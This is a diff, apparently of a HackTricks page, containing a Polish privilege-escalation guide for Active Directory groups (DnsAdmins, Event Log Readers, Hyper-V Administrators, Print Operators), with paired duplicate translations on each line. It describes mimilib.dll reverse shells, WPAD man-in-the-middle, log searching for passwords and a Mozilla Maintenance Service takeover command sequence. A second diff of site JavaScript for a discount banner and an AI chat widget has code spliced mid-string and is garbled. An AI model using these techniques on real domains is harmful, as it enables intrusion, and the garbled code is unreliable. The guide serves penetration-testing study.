Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) w celu uzyskania dalszych informacji. Możliwe jest także użycie mimilib.dll do wykonywania poleceń, modyfikując ją tak, aby uruchamiała określone komendy lub reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
### Rekord WPAD dla MitM ### Rekord WPAD dla MitM
DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego. DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM) poprzez utworzenie rekordu WPAD po wyłączeniu global query block list. Narzędzia takie jak Responder lub Inveigh mogą być użyte do spoofingu i przechwytywania ruchu sieciowego.
### Czytelnicy dzienników zdarzeń ### Event Log Readers
Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstu jawnego lub szczegóły wykonania poleceń: Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci jawnej lub szczegóły wykonania poleceń:
```bash ```bash
# Get members and search logs for sensitive information # Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
``` ```
## Exchange Windows Permissions ## Uprawnienia Exchange Windows
Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie. Ta grupa może modyfikować DACLs obiektu domeny, co może skutkować przyznaniem uprawnień DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę zostały opisane szczegółowo w Exchange-AD-Privesc GitHub repo.
```bash ```bash
# List members # List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
``` ```
## Hyper-V Administrators ## Hyper-V Administrators
Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie haszy NTLM z pliku NTDS.dit. Hyper-V Administrators mają pełny dostęp do Hyper-V, który może zostać wykorzystany do przejęcia kontroli nad wirtualizowanymi Domain Controllers. Obejmuje to klonowanie działających DCs oraz wyodrębnianie hashy NTLM z pliku NTDS.dit.
### Przykład wykorzystania ### Exploitation Example
Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administratorów Hyper-V do wykonywania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym: Firefox's Mozilla Maintenance Service może być wykorzystana przez Hyper-V Administrators do wykonania poleceń jako SYSTEM. Polega to na utworzeniu hard linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym:
```bash ```bash
# Take ownership and start the service # Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance sc.exe start MozillaMaintenance
``` ```
Note: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows. Uwaga: Hard link exploitation zostało złagodzone w ostatnich aktualizacjach Windows.
## Zarządzanie Organizacją ## Group Policy Creators Owners
W środowiskach, w których zainstalowany jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma znaczące uprawnienia. Grupa ta ma prawo do **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień. Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować Group Policies do użytkowników lub grup ani edytować istniejących GPOs.
### Wykorzystanie Uprawnień i Komendy ## Organization Management
#### Operatorzy Drukarek W środowiskach, gdzie wdrożony jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma istotne uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** oraz posiada **pełną kontrolę nad jednostką organizacyjną (OU) 'Microsoft Exchange Security Groups'**. Ta kontrola obejmuje grupę **`Exchange Windows Permissions`**, którą można wykorzystać do eskalacji uprawnień.
Członkowie grupy **Print Operators** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im na **lokalne logowanie się do kontrolera domeny**, jego wyłączanie oraz zarządzanie drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC). ### Wykorzystywanie uprawnień i polecenia
Aby wylistować członków tej grupy, używa się następującej komendy PowerShell: #### Print Operators
Członkowie grupy **Print Operators** posiadają kilka przywilejów, w tym **`SeLoadDriverPrivilege`**, który pozwala im **zalogować się lokalnie do Domain Controller**, wyłączyć go oraz zarządzać drukarkami. Aby wykorzystać te przywileje, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczny w niepodwyższonym kontekście, konieczne jest obejście User Account Control (UAC).
Aby wyświetlić członków tej grupy, użyj następującego polecenia PowerShell:
```bash ```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse Get-NetGroupMember -Identity "Print Operators" -Recurse
``` ```
Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa. Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy zapoznać się ze specjalistycznymi źródłami dotyczącymi bezpieczeństwa.
#### Użytkownicy pulpitu zdalnego #### Użytkownicy pulpitu zdalnego
Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wylistować tych członków, dostępne są polecenia PowerShell: Członkom tej grupy przyznano dostęp do komputerów za pomocą Remote Desktop Protocol (RDP). Aby wyświetlić członków tej grupy, dostępne są polecenia PowerShell:
```bash ```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
``` ```
Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach pentestingowych. Dalsze informacje dotyczące exploiting RDP można znaleźć w dedykowanych pentesting resources.
#### Użytkownicy zdalnego zarządzania #### Użytkownicy zdalnego zarządzania
Członkowie mogą uzyskiwać dostęp do komputerów za pomocą **Windows Remote Management (WinRM)**. Wykrywanie tych członków osiąga się poprzez: Członkowie mogą uzyskiwać dostęp do komputerów przez **Windows Remote Management (WinRM)**. Enumeracja tych członków jest przeprowadzana za pomocą:
```bash ```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users" Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
``` ```
Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, należy skonsultować się z odpowiednią dokumentacją. W przypadku technik eksploatacji związanych z **WinRM** należy zapoznać się z odpowiednią dokumentacją.
#### Operatorzy serwera #### Operatorzy serwera
Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia: Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia i przywracania kopii zapasowych, zmiany czasu systemowego oraz wyłączania systemu. Aby wyenumerować członków, użyj podanego polecenia:
```bash ```bash
Get-NetGroupMember -Identity "Server Operators" -Recurse Get-NetGroupMember -Identity "Server Operators" -Recurse
``` ```
## References <a href="#references" id="references"></a> ## Źródła <a href="#references" id="references"></a>
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) - [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => { (() => {
const KEY = 'htSummerDiscountsDismissed'; const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg'; const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!'; const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz'; const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return; if (localStorage.getItem(KEY) === 'true') return;
// Quick helper // Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) --- // --- Overlay (blur + dim) ---
const overlay = $('div', ` const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits → const MIN_W = 250; // ← resize limits →
const MAX_W = 600; const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved) const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT = const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)} #ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}} @media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} #ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000} ::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */ /* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} #ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; #ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style"); const s = document.createElement("style");
s.id = "ht-ai-style"; s.id = "ht-ai-style";
s.textContent = css; s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => { const onMove = (e) => {
if (!dragging) return; if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx; let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W); newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px"; panel.style.width = newW + "px";
}; };
const onUp = () => { const onUp = () => {
if (!dragging) return; if (!dragging) return;
dragging = false; dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove); document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp); document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
}; };
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true; dragging = true;
startX = e.clientX; startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10); startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove); document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp); document.addEventListener("mouseup", onUp);
}); document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
} }
})(); })();